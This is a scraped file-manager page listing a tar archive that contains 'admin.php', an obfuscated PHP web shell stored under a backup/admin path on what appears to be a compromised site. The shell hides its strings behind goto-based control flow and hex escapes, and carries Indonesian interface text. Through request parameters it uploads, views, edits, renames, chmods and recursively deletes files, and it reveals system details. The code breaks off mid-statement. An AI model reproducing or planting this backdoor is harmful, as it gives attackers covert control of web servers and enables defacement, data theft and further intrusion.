File manager - Edit - /home/lemagazi/www/media/dpuay/img.tar
Back
modules/v3/backup/pwff/admin.php 0000666 00000210063 15134030722 0012557 0 ustar 00 <?php goto UYCID; LHnmG: goto jpk0X; goto IYt8j; caZJX: JvKE0: goto FjyCj; qMY7j: xe("\x46\x6f\x6c\x64\x65\x72\x20\142\x65\x72\x68\x61\163\x69\x6c\40\144\151\142\165\x61\x74"); goto dJDOB; ellLl: echo jD($_GET["\156"]); goto HB3Fv; pTFI0: ndXj0: goto v3G9M; SA16k: echo "\x3c\150\65\40\143\x6c\x61\x73\163\75\x22\160\x2d\x31\x20\x72\x61\151\156\x62\157\x77\55\x62\x6f\162\144\145\162\42\x3e\125\142\x61\x68\x20\x49\x7a\x69\x6e\x20\x3a\40"; goto ks9gk; OJjdv: echo htmlspecialchars(file_get_contents(getcwd() . "\57" . jD($_GET["\x6e"]))); goto aPTH4; EIdAd: goto lNhPP; goto KxtAf; DFSe3: $im = Jd($_GET["\141"]); goto I4Mr8; SollG: oGhKM: goto a5Rw_; Hczko: Xe("\107\x61\147\141\x6c\x20\x6d\145\x6e\x67\x75\142\141\150\40\156\141\155\141\40\146\151\x6c\145", 0); goto J6449; SrkKL: xdi7Y: goto ah8PB; a3yUv: if (file_put_contents($filePath, $content)) { goto JvKE0; } goto cSpMC; yqeU_: $index = 0; goto ddJe8; sBr8q: echo phpversion(); goto I1fMb; GIuA3: $fileTmpName = $fileTmpNames[$index]; goto T7PXl; I1fMb: echo "\74\x2f\163\160\x61\156\76\74\x2f\x6c\151\76\15\12\74\x6c\x69\76\x3c\141\40\x68\162\145\146\x3d\42\77\x70\x3d"; goto rHpnJ; QUero: foreach ($G3 as $yf) { goto Tl7B0; goFy0: GKz9V: goto VDU6a; VDU6a: K963e: goto aFp10; b54ym: lIkb4: goto j0MWt; j0MWt: goto GKz9V; goto gy1jg; Tl7B0: if (!$c8[6]("{$Jd}\x2f{$yf}")) { goto lIkb4; } goto JWpEg; JWpEg: goto BqIuu; goto b54ym; b3W48: echo "\40\15\12\x3c\164\162\76\15\12\74\164\144\x20\x73\x74\171\154\145\x3d\x22\x74\145\x78\164\55\x61\154\151\147\x6e\x3a\x20\154\145\x66\x74\73\42\x3e\xd\xa\x3c\x69\40\x63\x6c\x61\x73\x73\75\x22\x66\141\40\146\x61\55\x66\x77\40\x66\x61\x2d\146\157\x6c\144\145\x72\x2d\157\x22\x20\x73\164\x79\x6c\x65\75\42\142\x6f\162\144\145\x72\72\40\x30\x3b\160\x61\x64\x64\x69\x6e\147\72\x20\60\73\167\x69\144\164\150\72\40\61\56\x32\70\x35\67\x31\64\x32\x39\x65\x6d\x3b\x22\x3e\74\57\151\x3e\74\141\40\x68\x72\145\146\75\42\x3f\160\75" . sS("{$Jd}\57{$yf}") . "\42\x20\144\141\164\141\55\164\x6f\147\x67\154\145\75\x22\164\157\x6f\x6c\x74\x69\x70\42\x20\144\141\164\141\x2d\x70\x6c\141\x63\145\x6d\145\156\x74\x3d\x22\141\165\x74\x6f\x22\x20\x74\151\164\x6c\x65\75\x22\114\x61\x74\145\x73\x74\x20\x6d\157\144\x69\146\171\x20\x6f\156\x20" . $c8[19]("\x59\x2d\155\x2d\x64\40\x48\72\151", $c8[20]("{$Jd}\57{$yf}")) . "\42\x3e{$yf}\74\x2f\x61\x3e\74\57\x74\x64\76\xd\12\74\164\144\40\163\164\x79\154\145\x3d\x22\143\157\154\x6f\x72\72\x20\142\154\141\x63\x6b\x3b\42\76\74\x73\x70\x61\156\76\74\57\x73\x70\141\156\x3e\x3c\57\164\x64\76\15\xa\x3c\x74\144\76\15\12\40\x20\x20\x20\40\x20\x20\40\x20\40\40\40\40\x20\x20\x20\x20\x20\40\x20\x3c\x61\x20\x68\x72\145\x66\75\42\77\x70\x3d" . sS($Jd) . "\46\x61\x3d" . sS("\x63\x68\141\x6e\147\145\120\145\162\x6d\163") . "\x26\156\x3d" . sS($yf) . "\42\x20\144\x61\164\x61\x2d\164\x6f\x67\147\154\145\x3d\x22\x74\157\157\x6c\164\151\160\42\40\x64\x61\x74\x61\x2d\x70\154\x61\x63\145\x6d\x65\x6e\x74\x3d\x22\141\x75\x74\157\x22\40\x74\x69\x74\154\x65\75\42\103\x68\x61\x6e\147\x65\40\x50\145\x72\x6d\x69\163\x73\x69\157\x6e\x73\x22\x20\144\141\164\141\x2d\157\x72\151\147\151\x6e\141\x6c\55\164\x69\164\x6c\145\x3d\x22\x43\x68\141\156\147\x65\40\x50\145\x72\155\x69\163\163\151\x6f\156\x73\42\x3e\74\146\157\x6e\164\40\143\157\154\157\162\75\x22" . ($c8[8]("{$Jd}\x2f{$yf}") ? "\43\60\x30\x66\146\60\60" : (!$c8[9]("{$Jd}\57{$yf}") ? "\x23\60\60\x62\x66\146\x66" : null)) . "\x22\76" . RN("{$Jd}\x2f{$yf}") . "\x3c\57\146\157\156\x74\76\x3c\x2f\141\x3e\15\12\40\40\40\40\x20\40\x20\40\40\x20\x20\40\x20\x20\40\x20\74\57\x74\x64\x3e\xd\xa\74\x74\144\40\x73\164\x79\x6c\145\x3d\42\143\x6f\154\157\x72\72\x20\x62\x6c\x61\143\153\x3b\167\x69\144\164\150\72\40\x39\x2e\65\45\x3b\42\76\74\x73\x70\141\x6e\x3e\74\57\x73\160\x61\156\x3e\74\x2f\x74\x64\76\xd\12\x3c\x74\x64\76\15\xa\x3c\x61\x20\150\x72\145\x66\75\42\77\160\x3d" . ss($Jd) . "\46\141\x3d" . ss("\x72\x65\x6e\x61\155\145") . "\x26\156\75" . ss($yf) . "\46\x74\x3d\144\42\40\144\x61\x74\x61\x2d\x74\157\147\147\x6c\x65\x3d\x22\x74\x6f\157\x6c\164\151\x70\42\x20\x64\141\x74\141\x2d\x70\x6c\141\x63\145\155\x65\x6e\164\75\42\141\x75\164\x6f\x22\40\164\x69\x74\x6c\145\75\x22\x52\145\156\141\155\145\42\76\122\145\x6e\x61\155\x65\74\x2f\141\x3e\15\12\74\57\164\144\76\15\12\74\x74\x64\x3e\xd\xa\74\x61\x20\x68\x72\145\146\x3d\x22\x3f\160\75" . sS($Jd) . "\x26\x61\x3d" . ss("\x64\x65\x6c\145\164\145") . "\46\x6e\75" . ss($yf) . "\x22\x20\x63\154\141\x73\x73\75\42\x64\145\x6c\145\164\145\x22\x20\144\x61\164\141\x2d\x74\171\160\145\x3d\42\x66\x6f\x6c\144\145\x72\x22\40\144\x61\164\x61\55\164\x6f\x67\x67\154\x65\x3d\x22\x74\157\157\154\164\151\x70\42\40\x64\x61\164\141\55\x70\x6c\141\x63\x65\155\145\156\164\75\x22\x61\165\164\157\x22\x20\x74\x69\164\154\145\x3d\42\104\x65\x6c\145\164\x65\x22\x3e\104\x65\154\145\164\x65\74\x2f\141\x3e\15\12\x3c\x2f\164\x64\x3e\xd\12\74\57\x74\x72\x3e"; goto goFy0; gy1jg: BqIuu: goto b3W48; aFp10: } goto m101q; pMfSC: X6Epq: goto U0HWk; iBbm5: echo "\x3c\x68\65\40\143\154\141\163\x73\75\42\160\x2d\61\40\162\x61\x69\156\x62\x6f\167\55\142\157\162\144\x65\162\x22\40\x73\164\171\154\145\75\x22\164\x65\x78\x74\55\x61\154\x69\147\x6e\72\x20\x63\x65\156\x74\145\162\x3b\42\76\116\141\x6d\x61\x20\x46\157\154\x64\145\x72\x20\x42\141\162\x75\40\72\x3c\57\x68\65\76\15\12\x3c\x66\x6f\162\155\40\x6d\x65\164\150\157\144\75\x22\160\157\163\164\42\76\15\12\40\40\x20\40\74\x64\151\x76\x20\143\x6c\141\163\163\75\x22\146\157\162\x6d\55\147\x72\157\x75\160\42\76\xd\12\40\40\40\x20\x20\40\40\40\74\x69\x6e\x70\x75\164\x20\x6e\x61\155\145\x3d\x22\146\x6f\154\x64\x65\162\x5f\156\141\x6d\145\42\40\151\144\75\x22\146\157\154\144\145\x72\137\156\x61\x6d\x65\42\40\143\x6c\x61\163\x73\75\x22\142\x6f\x72\144\145\162\x20\x70\x2d\61\42\x20\141\x75\164\x6f\143\157\x6d\160\154\x65\x74\145\x3d\x22\157\146\146\x22\x20\163\164\171\x6c\x65\75\42\164\145\x78\164\55\x61\154\x69\147\x6e\72\40\143\x65\x6e\164\145\x72\x3b\42\76\xd\xa\40\x20\x20\40\74\57\x64\x69\x76\76\15\12\40\40\x20\40\74\144\151\166\40\143\154\x61\163\x73\75\x22\x66\157\x72\x6d\x2d\147\162\x6f\165\160\42\x20\x73\x74\x79\x6c\145\75\x22\155\x61\x72\147\x69\x6e\x2d\164\x6f\x70\x3a\x20\x31\x30\160\170\73\x22\76\15\12\x20\40\40\40\40\x20\x20\40\74\x62\x75\x74\164\x6f\x6e\40\x74\171\160\x65\75\x22\163\x75\142\155\151\x74\x22\40\x6e\141\x6d\145\75\x22\x63\162\x65\x61\x74\x65\137\x66\157\154\x64\145\x72\42\40\x63\x6c\141\163\x73\75\42\x6f\x68\143\x74\x22\76\103\x72\145\141\x74\145\x3c\x2f\x62\x75\164\164\x6f\x6e\76\15\xa\x20\x20\40\40\74\x2f\x64\x69\166\x3e\40\15\12\74\57\x66\x6f\162\x6d\x3e\x20\xd\xa\15\xa"; goto raqMq; DxM5p: echo "\40\xd\12\74\57\163\160\141\156\76\74\x2f\154\x69\x3e\x3c\x2f\144\151\166\x3e\15\xa\x3c\x64\x69\x76\x20\x63\x6c\x61\163\x73\x3d\42\164\x61\x62\x6c\x65\55\162\x65\x73\160\157\156\x73\x69\x76\x65\40\x74\x65\170\x74\x2d\154\x69\147\150\x74\42\40\163\x74\171\154\x65\75\42\x74\145\x78\x74\55\x61\x6c\151\147\156\72\x20\143\145\156\164\x65\x72\x3b\x66\157\156\x74\55\x66\141\x6d\151\x6c\x79\72\x20\x69\156\150\x65\x72\x69\x74\73\146\x6f\x6e\164\x2d\x73\x69\172\x65\x3a\40\154\141\162\x67\x65\73\x22\76\xd\xa"; goto PZxqg; ISycY: llzId: goto P15t3; f7MJK: $currentDir = getcwd(); goto yNbhO; n21be: q2UwY: goto cb69F; e3oOU: goto wf9aW; goto X0blT; wEnsV: foreach ($Op as $j3 => $Oe) { goto Fvm5j; qygGW: echo sS($Op[$lE]); goto aPb2u; aPb2u: if ($lE != $j3) { goto dPc14; } goto Wds7x; QB8_i: echo "\x32\146"; goto jLTjf; PByHB: goto ufLc2; goto VIYPa; lpkFk: EYftb: goto jYCxj; Fvm5j: if ($j3 == 0 && $Oe == '') { goto MWOxt; } goto PByHB; cVGQY: $lE = 0; goto pe3Dv; OzfAy: goto Kt8H4; goto sf8OO; Q42e7: echo "\74\x61\40\x68\x72\x65\146\x3d\x22\77\160\75\62\x66\x22\40\143\154\141\163\163\75\x22\x63\157\155\x62\x65\164\x22\x3e\x7e\x3c\x2f\141\76\57"; goto OzfAy; EAX3I: $lE++; goto W9UQF; Spsgc: Kt8H4: goto sMtqi; Wds7x: goto U3WfF; goto ut0jS; vUVs4: IBpgX: goto bS2jz; jLTjf: U3WfF: goto lo3ZP; VkFF6: echo "\x3c\x61\40\x63\154\x61\x73\163\x3d\x22\x63\157\x6d\x62\x65\x74\42\40\x68\162\x65\x66\x3d\42\77\160\75"; goto cVGQY; W9UQF: goto ZiNnh; goto lpkFk; pe3Dv: ZiNnh: goto QH27w; JZx4X: ysRXm: goto VkFF6; jTGNi: goto EYftb; goto iNne8; xpmjY: goto ysRXm; goto vUVs4; jYCxj: echo "\x22\76{$Oe}\74\57\x61\x3e\x2f"; goto Spsgc; VIYPa: MWOxt: goto Q42e7; ut0jS: dPc14: goto QB8_i; sMtqi: rS3NS: goto oJ1oa; lo3ZP: SthHa: goto EAX3I; ppxrX: if ($Oe == '') { goto IBpgX; } goto xpmjY; bS2jz: goto Kt8H4; goto JZx4X; iNne8: cMQQe: goto qygGW; QH27w: if ($lE <= $j3) { goto cMQQe; } goto jTGNi; sf8OO: ufLc2: goto ppxrX; oJ1oa: } goto Y7Z0b; ui2ii: JvcYD: goto iBbm5; nsWn8: function tF($yf) { goto sskCe; fXVxM: if (!(is_dir($yf) && array_diff(scandir($yf), array("\56", "\x2e\56")))) { goto RP3Iy; } goto ZYx8z; LUX_z: RP3Iy: goto iTc69; YTPw1: if (trim(pathinfo($yf, PATHINFO_BASENAME), "\x2e") === '') { goto Mrxog; } goto wANxN; M8mG2: QTjyQ: goto BOu7j; XOSkm: Wv6fm: goto fXVxM; iTc69: rmdir($yf); goto n1Jtf; ZYx8z: goto QTjyQ; goto LUX_z; n1Jtf: return; goto M8mG2; sskCe: global $c8; goto YTPw1; wANxN: goto Wv6fm; goto iXnKi; QKT6w: rmdir($yf); goto s9gwe; BOu7j: array_map(function ($item) use($yf) { goto Qn2wI; Qn2wI: $file = $yf . DIRECTORY_SEPARATOR . $item; goto BDdLo; N1N3K: goto iy3dP; goto QP8VH; DMrRd: iy3dP: goto r51c1; QP8VH: uTA7m: goto ePttR; ePttR: tF($file); goto DMrRd; BDdLo: if (is_dir($file)) { goto uTA7m; } goto I91lo; I91lo: unlink($file); goto N1N3K; r51c1: }, array_diff(scandir($yf), array("\56", "\56\x2e"))); goto QKT6w; iXnKi: Mrxog: goto Kuedk; Kuedk: return; goto XOSkm; s9gwe: } goto CKeJG; b1Prt: ltJzC: goto rjz3G; yFHz7: xE("\x47\x61\147\141\154\x20\x6d\145\x6d\x70\x65\x72\x62\141\162\165\151\x20\153\x6f\x6e\x74\145\x6e\x20\x66\151\154\x65"); goto Qns7R; NaeCm: mfvF0: goto GoQrX; MhAYt: xE("\116\x61\155\141\40\146\157\x6c\144\x65\162\x20\164\x65\x6c\141\x68\40\144\151\147\165\156\141\x6b\x61\156", 0, "\46\x61\x3d" . SS("\x6e\x65\167\104\151\x72")); goto UGZfs; ah8PB: if ($lE < count($c8)) { goto Ts8yS; } goto EIdAd; V60JP: CiuOO: goto sZ6bB; IV6J1: if (!isset($_FILES["\x66"])) { goto j8Ne4; } goto TR99t; P15t3: echo "\x3c\150\x35\40\143\x6c\x61\163\x73\x3d\x22\x70\55\x31\x20\162\141\x69\x6e\x62\157\x77\x2d\x62\x6f\x72\x64\x65\x72\x22\x3e\122\145\156\141\x6d\x65\40\x46\151\154\145\x20\x3a\x20"; goto ellLl; s1u_6: goto vM212; goto yexD7; lygUa: $Jd = jD($_GET["\x70"]); goto XoXZZ; R6obu: IfSJ9: goto eucg0; tEYJK: echo "\x3c\x2f\164\145\x78\x74\141\x72\x65\x61\x3e\15\12\74\x2f\x64\151\x76\x3e\15\xa"; goto N93Qc; erhmN: goto qLlQw; goto i0rgL; fIAC0: vM212: goto ZZiIv; rHpnJ: echo ss($Jd) . "\x26\x61\75" . Ss("\x6e\145\x77\106\x69\x6c\x65"); goto v9nE0; qWFN0: goto BgYPr; goto Lm_zM; GoQrX: xe("\146\151\154\145\x20\x64\145\x6c\145\x74\145\x64\40\163\x75\x63\143\x65\163\163\146\x75\x6c\154\171"); goto SollG; SwPKx: echo "\74\x2f\163\160\x61\156\76\74\x2f\154\151\x3e\15\12\74\154\151\76\120\110\x50\40\126\x65\x72\163\151\x6f\x6e\40\72\x20\x3c\163\160\x61\x6e\40\163\x74\171\154\145\x3d\42\x63\157\154\157\162\72\x20\x77\x68\x69\x74\x65\73\x22\76"; goto sBr8q; FjyCj: xe("\106\x69\154\145\40\x62\x65\x72\x68\x61\x73\x69\x6c\x20\x64\x69\142\x75\141\x74", 1, "\46\x61\75" . SS("\x76\151\145\x77") . "\x26\156\75" . Ss($fileName)); goto TytgP; tqKCZ: xE("\x46\x69\x6c\145\x20\x74\x69\x64\x61\153\40\141\x64\x61\x20\x61\x74\x61\x75\40\164\x69\x64\141\153\x20\144\x61\160\x61\x74\40\x64\x69\164\x75\x6c\151\x73"); goto twach; h0yNe: NF5Mp: goto ed79z; yVA2j: $targetFilePath = "{$Jd}\57{$fileName}"; goto as55f; oUPhS: if (!isset($_POST["\x63\150\141\x6e\147\145\x5f\x70\145\x72\x6d\x73"])) { goto ih__Q; } goto XjoI2; jJ6Ik: goto xdi7Y; goto Kar2v; ThB_8: PYt7W: goto l8csR; twach: goto XR5kC; goto Y6O3j; m101q: f8xPg: goto pTFI0; vNGYA: goto mBbAB; goto g0l1M; CzeEQ: $fileTmpNames = $_FILES["\x66"]["\x74\155\x70\137\x6e\x61\155\x65"]; goto yqeU_; W_YUR: $newPath = "{$currentDir}\57{$newName}"; goto uLQpu; HhbxK: $lE = 0; goto SrkKL; g6YeJ: jycuQ: goto yzR0z; KQMnt: c_wd5: goto XplJE; yCXHO: echo $c8[18]($c8[14](getcwd() . "\x2f" . jd($_GET["\156"]))); goto tEYJK; AP21i: $content = $_POST["\146\151\154\x65\x5f\x63\x6f\x6e\164\x65\x6e\x74"]; goto jtnD_; XNn9R: goto JvcYD; goto ZFVCq; ddJe8: $totalFiles = count($uploadedFiles); goto fIAC0; Sjegh: if (!($im == "\x76\151\x65\167")) { goto ltJzC; } goto IOs5m; LExXx: OqgUI: goto DxM5p; TytgP: NA5Qf: goto C0rs5; eJzBg: $Op = $c8[4]("\57\50\x5c\x5c\x7c\x5c\x2f\x29\57", $Jd); goto wEnsV; Kar2v: lNhPP: goto QVXk5; KxtAf: Ts8yS: goto Z3Rwf; YpqQB: xe("\x42\x65\162\x68\141\x73\x69\x6c\x20\x6d\x65\156\147\x75\142\141\150\x20\x6e\141\x6d\x61\x20\146\x69\154\x65"); goto PdVkP; Uj6Nn: $filePath = getcwd() . "\57{$fileName}"; goto AP21i; gNdcw: nRhJi: goto GAJ_p; WsTPz: wXkgs: goto lP14A; IXUL0: goto G9S0S; goto hQI_R; y1nIx: $filePath = "{$currentDir}\57" . jD($_GET["\156"]); goto vA6Xn; i0rgL: Cw8Jm: goto Sjegh; SSOY8: Xe("\106\x69\x6c\145\40\x67\141\x67\141\154\x20\x64\151\165\156\147\x67\x61\x68", 0); goto LHnmG; ed79z: if (!($im == "\156\145\x77\104\x69\x72")) { goto fV5j4; } goto XNn9R; gQPY8: if (file_put_contents($filePath, $content) !== false) { goto Q1N8Z; } goto yFHz7; XplJE: Sp00F: goto ql2h3; cb69F: $lE++; goto jJ6Ik; U0HWk: goto WuWzI; goto g6YeJ; fFAU6: tF($BL); goto BeTGF; qv6Am: echo gethostbyname($_SERVER["\x52\105\115\117\x54\105\137\x41\x44\104\x52"]); goto KhgEs; EdS_l: echo "\74\57\163\160\141\x6e\x3e\74\57\154\x69\76\xd\12\74\x6c\151\76\x53\145\162\x76\x65\162\x20\123\x6f\x66\164\x77\x61\162\145\x20\72\40\74\163\160\x61\156\40\163\164\x79\x6c\145\75\x22\x63\x6f\154\x6f\162\72\x20\x77\150\151\164\x65\73\x22\x3e"; goto M6ABo; ZFVCq: fV5j4: goto LtzXz; psV4R: echo "\x3c\x68\x35\x20\143\154\x61\163\163\75\42\x70\x2d\x31\40\x72\141\151\156\142\157\167\55\x62\157\162\144\x65\x72\x22\x20\163\x74\x79\154\145\x3d\42\164\145\170\x74\x2d\x61\154\151\x67\156\72\40\143\145\x6e\x74\145\162\x3b\42\x3e\15\12\40\40\x20\40\126\151\145\167\x20\106\x69\x6c\145\x20\116\x61\x6d\x65\x20\x3a\x20\x3c\x66\x6f\156\x74\x20\x63\x6f\154\157\162\x3d\42\167\x68\x69\164\x65\42\76"; goto QznLN; vA6Xn: if (chmod($filePath, octdec($newPerms))) { goto eDnbO; } goto hgzvg; RE3aJ: G9S0S: goto O4wAy; MycnO: echo "\x3c\x2f\x66\157\x6e\164\76\74\57\150\65\x3e\xd\12\x3c\146\x6f\x72\155\40\155\x65\164\150\157\144\x3d\42\x70\x6f\163\x74\x22\76\xd\xa\x20\x20\x20\40\x3c\144\151\166\40\x63\154\141\163\x73\75\x22\x66\157\162\155\x2d\147\x72\x6f\x75\x70\x22\x3e\xd\12\x20\x20\40\x20\x20\x20\x20\x20\x3c\164\145\x78\x74\141\162\145\x61\x20\x6e\141\155\x65\75\42\146\x69\x6c\x65\137\x63\x6f\x6e\x74\x65\156\x74\42\x20\151\x64\x3d\x22\146\x69\154\x65\137\x63\157\156\164\x65\156\x74\x22\x20\x63\x6f\x6c\163\x3d\x22\63\60\x22\x20\162\x6f\x77\163\75\x22\x31\x30\x22\x20\143\154\x61\163\x73\75\x22\146\157\x72\x6d\x2d\143\x6f\x6e\164\x72\x6f\x6c\x20\x72\141\151\x6e\x62\157\167\x2d\142\x6f\x72\x64\x65\x72\42\76"; goto OJjdv; ANEwH: goto WuWzI; goto ISycY; DmZNj: if (file_exists($folderPath)) { goto lVpvL; } goto JqxaL; IP9JK: $Jd = getcwd(); goto K71UA; dG_yF: if (!file_exists($BL)) { goto mfvF0; } goto LHxHL; ql2h3: echo "\x20\15\xa\x3c\57\x74\142\x6f\x64\x79\76\15\12\74\x2f\x74\x61\x62\x6c\145\76\15\12"; goto RE3aJ; pJrgA: if (!($_SERVER["\x52\105\x51\125\105\x53\x54\137\x4d\x45\x54\x48\117\104"] === "\120\117\x53\124" && isset($_POST["\145\x64\151\164\137\x66\x69\154\145"]))) { goto FuJKP; } goto WY826; iPtuX: ih__Q: goto QJcbe; aPTH4: echo "\74\57\164\145\x78\164\x61\x72\145\x61\x3e\15\xa\40\x20\40\40\x3c\57\144\x69\x76\76\15\xa\40\40\x20\40\74\144\151\x76\x20\143\154\141\x73\x73\75\x22\146\x6f\162\x6d\55\147\162\157\165\x70\x22\x20\163\164\x79\154\x65\x3d\42\x6d\x61\x72\147\x69\156\x2d\x74\157\x70\72\40\61\x30\160\x78\73\x22\76\xd\12\40\x20\x20\x20\x20\x20\40\40\x3c\142\165\x74\164\x6f\156\x20\x74\171\x70\x65\75\42\x73\x75\x62\155\x69\x74\42\40\156\141\x6d\x65\75\x22\x65\x64\x69\x74\x5f\x66\151\x6c\145\x22\x20\x63\154\141\163\x73\x3d\x22\x6f\x68\x63\x74\42\76\123\151\x6d\x70\141\156\x3c\57\x62\x75\x74\x74\157\156\x3e\xd\xa\40\x20\40\x20\x3c\x2f\144\151\166\76\xd\xa\74\57\x66\157\162\155\76\xd\xa\xd\xa"; goto pJrgA; EaJYU: Bh2fC: goto iPtuX; GrpvM: Y6Upm: goto SetU1; g4Bkd: goto YmvX_; goto APzPP; lBivr: $content = $_POST["\x66\151\x6c\x65\x5f\143\157\x6e\x74\145\156\164"]; goto gbyid; PdVkP: Fk3E1: goto pMfSC; PZxqg: if (isset($_GET["\141"])) { goto PW8sr; } goto e3oOU; QVXk5: if (!isset($_GET["\x70"])) { goto wXkgs; } goto xa4PM; QJcbe: goto WuWzI; goto SrtER; uNjg_: echo jD($_GET["\x6e"]); goto DbYJr; z00aG: if (!($_GET["\x74"] == "\x66")) { goto GRYEX; } goto o5NaW; T7PXl: $fileName = basename($uploadedFiles[$index]); goto yVA2j; Qns7R: goto WBrRw; goto qkvjE; C0rs5: goto PYt7W; goto R6obu; HB3Fv: echo "\74\x2f\x68\65\x3e\xd\xa\74\146\x6f\162\x6d\x20\155\x65\x74\150\x6f\144\x3d\42\160\157\x73\x74\42\x3e\15\12\x20\x20\40\x20\74\144\151\166\40\x63\154\x61\163\x73\x3d\42\x66\157\162\155\55\x67\162\x6f\x75\x70\42\76\xd\xa\x20\40\40\40\40\x20\x20\x20\x3c\151\156\x70\165\164\40\164\171\160\145\75\x22\x74\145\170\x74\x22\x20\x6e\141\155\x65\75\x22\x6e\145\x77\x5f\146\x69\154\145\137\156\x61\x6d\x65\42\x20\151\144\75\42\x6e\145\x77\137\x66\151\x6c\145\x5f\156\x61\155\x65\42\x20\143\154\141\x73\163\x3d\42\x62\x6f\162\144\x65\x72\40\160\55\61\x22\x20\166\x61\154\165\x65\75\x22"; goto uNjg_; LtzXz: if (!($im == "\156\x65\167\106\151\x6c\145")) { goto Y6Upm; } goto xYynO; sueaT: goto NA5Qf; goto caZJX; FfdSI: if (!($im == "\x63\x68\x61\x6e\147\145\120\145\x72\155\x73")) { goto Cw8Jm; } goto erhmN; zQPxb: $Jd = getcwd(); goto IV6J1; BeTGF: if (!file_exists($BL)) { goto l07qe; } goto tqIqH; XuBX4: echo "\x22\x20\x63\154\x61\x73\163\x3d\42\157\150\143\164\x22\x3e\x42\x75\x61\164\40\106\157\x6c\144\x65\x72\x3c\57\141\x3e\74\57\x6c\x69\76\15\12\74\x66\x6f\162\155\40\141\143\164\x69\157\x6e\x3d\x22\x22\x20\155\145\x74\150\x6f\144\75\x22\x50\x4f\123\x54\42\40\x65\156\x63\164\x79\160\x65\75\x22\155\165\x6c\164\x69\160\x61\x72\x74\57\x66\x6f\x72\155\x2d\x64\x61\x74\x61\42\x20\x73\x74\x79\154\x65\x3d\42\x70\141\x64\x64\x69\156\147\72\x20\x30\56\x31\x30\162\x65\x6d\73\x20\x64\x69\163\160\154\x61\171\72\40\x69\156\154\x69\x6e\x65\55\142\x6c\157\x63\153\x3b\x22\x3e\15\12\x20\x20\x20\40\x3c\151\x6e\x70\x75\164\x20\164\x79\160\145\75\x22\146\x69\154\x65\42\x20\x6e\x61\x6d\145\75\42\146\x5b\x5d\x22\x20\155\x75\154\164\151\x70\154\x65\76\15\xa\x20\40\40\x20\x3c\151\x6e\x70\x75\164\40\x74\171\x70\x65\75\x22\163\165\142\155\151\x74\x22\x20\x76\141\154\x75\x65\x3d\42\x55\x70\x6c\157\x61\x64\42\x20\x6e\141\155\x65\75\42\163\x75\142\x6d\151\x74\x22\40\x63\x6c\x61\163\x73\75\42\x62\x75\x74\x74\157\156\40\157\x68\x63\164\x22\76\xd\12\74\x2f\146\x6f\162\155\x3e\xd\12"; goto zQPxb; CgOkh: echo php_uname(); goto EdS_l; ckKLx: xe("\113\157\156\164\x65\x6e\40\146\x69\154\x65\x20\x62\x65\162\150\141\163\x69\x6c\x20\144\x69\x70\x65\162\x62\x61\x72\x75\151", 1, "\46\x61\x3d" . sS("\x76\151\145\167") . "\x26\x6e\75{$_GET["\x6e"]}"); goto OPLx1; v3G9M: foreach ($G3 as $F1) { goto ruO3g; JOFka: ujbhv: goto glGuu; D3Ydb: $kL = $kL > 1024 ? round($kL / 1024, 2) . "\x20\x20\115\102" : $kL . "\x20\40\113\102"; goto ldehu; v2noY: F6uUG: goto nnWwd; bcKKF: TomPa: goto cb8nr; ldehu: echo "\15\12\x3c\164\x72\x3e\15\xa\74\x74\144\x20\x73\164\171\x6c\145\x3d\42\x74\x65\x78\x74\55\141\x6c\x69\x67\156\x3a\x20\x6c\x65\146\x74\73\42\x3e\xd\12\x3c\151\x20\x63\x6c\x61\x73\x73\75\x22\146\x61\40\x66\141\x2d\x66\x77\40\146\141\55\146\151\154\145\55\157\42\40\x73\x74\x79\x6c\x65\x3d\42\x62\x6f\162\x64\x65\x72\72\40\x30\x3b\160\141\x64\x64\151\156\x67\72\x20\60\x3b\167\151\x64\x74\150\72\40\61\x2e\62\x38\65\67\x31\x34\x32\x39\145\155\73\x22\x3e\x3c\57\151\x3e\x3c\141\x20\150\x72\x65\x66\x3d\42\x3f\160\75" . SS($Jd) . "\x26\x61\x3d" . sS("\x76\151\x65\167") . "\x26\x6e\x3d" . SS($F1) . "\42\x20\x64\x61\x74\x61\x2d\164\x6f\x67\147\154\145\x3d\42\164\157\157\x6c\x74\x69\x70\x22\40\144\x61\x74\141\x2d\x70\154\x61\143\145\x6d\x65\x6e\x74\x3d\x22\141\165\x74\157\x22\40\x74\151\x74\154\145\x3d\42\114\141\x74\145\x73\164\40\155\157\144\x69\146\171\40\x6f\156\40" . $c8[19]("\131\55\x6d\55\144\x20\110\72\x69", $c8[20]("{$Jd}\57{$F1}")) . "\x22\76{$F1}\x3c\57\141\76\74\57\164\x64\x3e\15\12\x3c\x74\x64\x3e\x3c\x73\160\141\x6e\76{$kL}\74\x2f\163\160\x61\x6e\x3e\x3c\57\164\144\76\xd\xa\74\x74\144\x3e\xd\xa\x20\40\40\40\40\40\40\40\x20\40\40\40\40\x20\x20\40\40\40\x20\40\74\141\40\150\162\145\x66\75\x22\x3f\x70\75" . SS($Jd) . "\46\141\75" . sS("\x63\150\141\156\x67\x65\120\x65\162\155\x73") . "\x26\156\75" . SS($F1) . "\42\40\x64\141\164\x61\x2d\164\x6f\x67\x67\154\x65\75\42\164\x6f\157\154\x74\x69\x70\x22\40\x64\141\164\141\x2d\160\x6c\141\x63\x65\155\145\x6e\x74\75\42\x61\165\164\x6f\42\x20\164\x69\164\x6c\x65\x3d\42\103\x68\141\x6e\147\x65\x20\120\x65\x72\x6d\151\x73\x73\x69\157\156\x73\x22\40\144\x61\x74\x61\55\157\162\151\x67\x69\156\141\x6c\55\x74\x69\164\154\x65\x3d\42\x43\x68\x61\156\147\x65\40\x50\145\x72\x6d\151\163\x73\151\x6f\156\x73\x22\x3e\x3c\x66\x6f\156\164\x20\x63\157\154\157\x72\x3d\x22" . ($c8[8]("{$Jd}\x2f{$F1}") ? "\43\x30\x30\146\x66\60\x30" : (!$c8[9]("{$Jd}\x2f{$F1}") ? "\43\x30\60\x62\x66\146\146" : null)) . "\x22\x3e" . rN("{$Jd}\x2f{$F1}") . "\x3c\57\146\x6f\x6e\164\x3e\x3c\x2f\x61\76\15\xa\40\x20\x20\40\x20\x20\40\40\40\x20\40\40\40\40\x20\40\x3c\57\164\x64\76\15\xa\x3c\x74\144\76\x3c\141\x20\x68\162\145\x66\x3d\x22\77\160\x3d" . Ss($Jd) . "\46\141\75" . Ss("\145\x64\x69\164") . "\x26\x6e\x3d" . SS($F1) . 